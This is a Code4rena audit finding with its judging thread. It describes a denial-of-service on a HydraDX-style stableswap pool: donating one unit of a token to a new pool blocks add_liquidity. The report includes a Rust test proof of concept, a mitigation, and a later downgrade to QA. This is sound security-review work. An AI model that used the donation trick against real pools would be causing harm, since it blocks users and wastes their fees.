Platform: Code4rena
Start Date: 02/02/2024
Pot Size: $100,000 USDC
Total HM: 11
Participants: 27
Period: 28 days
Judge: Lambda
Total Solo HM: 4
Id: 327
League:
Rank: 19/27
Findings: 1
Award: $150.19
π Selected for report: 0
π Solo Findings: 0
π Selected for report: castle_chain
Also found by: 3docSec, Aymen0909, Franfran, J4X, Ocean_Sky, QiuhaoLi, TheSchnilch, ZanyBonzy, alix40, alkrrrrp, bin2chen, carrotsmuggler, ihtishamsudo, oakcobalt, peachtea, tsvetanovv, zhaojie
150.1907 USDC - $150.19
When adding a new pool, an attacker could donate 1_u128 tokens to the pool account (this attack would work also by donating 1 token to a max of (n-1) Token in a pool of n tokens)
after having this condition met, each subsequent add_liquidity()
call for this new created pool would revert with an arithmetic overflow error.
The attacker could use this bug to block users from adding liquidity to the pool, and costing them transactions fees.
By donating at least 1 unit of a token to the pool account and leaving at least a token uninitialized, in do_add_liquidity()
the array initial_reserves
would contain at least a zero amount. For a new pool of asset_a and asset_b after donating 1 unit to asset_b the initial_reserves
would look like this
initial_reserves: [AssetReserve { amount: 0, decimals: 12 }, AssetReserve { amount: 1, decimals: 12 }]
This array would be supplied to hydra_dx_math::stableswap::calculate_shares()
(source)
The inital_reserves array would then be handled in the function calculate_d()
(source)
let initial_d = calculate_d::<D>(initial_reserves, amplification)?;
Which would then throw an error, because the initial_reserves contain a zero amount.
pub(crate) fn calculate_d_internal<const D: u8>(xp: &[Balance], amplification: Balance) -> Option<Balance> { let two_u256 = to_u256!(2_u128); // Filter out zero balance assets, and return error if there is one. // Either all assets are zero balance, or none are zero balance. // Otherwise, it breaks the math. let mut xp_hp: Vec<U256> = xp.iter().filter(|v| !(*v).is_zero()).map(|v| to_u256!(*v)).collect(); if xp_hp.len() != xp.len() && !xp_hp.is_empty() { return None;
To run the Proof of Concept add the following code to pallets/stableswap/src/tests/add_liquidity.rs
#[test] fn donation_attack_by_pool_initialization_leads_to_dos() { let pool_id: AssetId = 100u32; ExtBuilder::default() .with_endowed_accounts(vec![ (BOB, 1, 200 * ONE), (BOB, 2, 200 * ONE), (ALICE, 1, 200 * ONE), (ALICE, 2, 200 * ONE), ]) .with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12) .with_registered_asset("one".as_bytes().to_vec(), 1, 12) .with_registered_asset("two".as_bytes().to_vec(), 2, 12) .build() .execute_with(|| { let asset_a: AssetId = 1; let asset_b: AssetId = 2; let amplification: u16 = 100; assert_ok!(Stableswap::create_pool( RuntimeOrigin::root(), pool_id, vec![asset_a, asset_b], amplification, Permill::from_percent(0), )); let initial_liquidity_amount = 100 * ONE; let pool_account = pool_account(pool_id); println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB)); println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account)); let _ = Tokens::transfer( RuntimeOrigin::signed(BOB), pool_account.clone(), asset_b, 1_u128, ); println!("BOB balance: {:?}", Tokens::free_balance(asset_b, &BOB)); println!("Pool balance: {:?}", Tokens::free_balance(asset_b, &pool_account)); assert_ok!(Stableswap::add_liquidity( RuntimeOrigin::signed(BOB), pool_id, vec![ AssetAmount::new(asset_a, initial_liquidity_amount), AssetAmount::new(asset_b, initial_liquidity_amount), ] )); }); }
Manual Review, Substrate
To prevent this attack vector, it is recomended to either donate a small amount of each tokens to the newly created pool, to make sure that the transaction wouldn't revert, or to adjust the logic in do_add_liquidity
to remove zero amounts from the initial_reserves
array.
DoS
#0 - c4-pre-sort
2024-03-03T04:46:00Z
0xRobocop marked the issue as primary issue
#1 - c4-pre-sort
2024-03-03T04:46:12Z
0xRobocop marked the issue as sufficient quality report
#2 - c4-pre-sort
2024-03-03T19:04:58Z
0xRobocop marked the issue as high quality report
#3 - c4-sponsor
2024-03-06T13:37:24Z
enthusiastmartin (sponsor) confirmed
#4 - c4-sponsor
2024-03-06T13:37:27Z
enthusiastmartin marked the issue as disagree with severity
#5 - enthusiastmartin
2024-03-06T13:38:33Z
This might be an issue but we disagree with severity.
The creation of pool is not permissionless and it is always batched together with add_liquidity to provide initial liquidity.
#6 - OpenCoreCH
2024-03-08T12:16:09Z
While the creation is not permissionless and should be batched together with add_liquidity
, this is not enforced by the system. The warden demonstrated how an attacker could cause a DoS for newly created pools under some conditions (that may not happen typically in practice, but could happen). Therefore Medium is appropriate here.
#7 - c4-judge
2024-03-08T12:16:15Z
OpenCoreCH marked the issue as selected for report
#8 - Frankcastleauditor
2024-03-13T02:26:56Z
this DoS state can simply be mitigated by donating a minimum non-zero amount of the assets that have zero reserves , because the condition of this attack is to have at least one reserve to be zero ,and the rest of reserves of the other assets in the pool are non-zero reserves , this action will allow liquidity addition again , with almost tiny cost and without any permissioned calls .
if the pool has asset_a
reserve = 100 units and asset_b
reserve = 0
this will prevent liquidity addition , but if a minimum non-zero amount got transferred to the asset_b
reserve , the liquidity addition will got enabled again .
so I am asking to decrease the severity of this finding to QA .
#9 - OpenCoreCH
2024-03-14T21:08:33Z
After reconsideration of the issue, the impact in the worst case is indeed only a DoS that is very easily recoverable (and is very improbable). So this is comparable with e.g. frontrunning of initializers (where redeployment is the solution), which historically have been considered QA.
#10 - c4-judge
2024-03-14T21:08:49Z
OpenCoreCH changed the severity to QA (Quality Assurance)
#11 - c4-judge
2024-03-14T21:08:57Z
OpenCoreCH marked the issue as grade-b
#12 - c4-judge
2024-03-15T15:16:06Z
OpenCoreCH marked the issue as not selected for report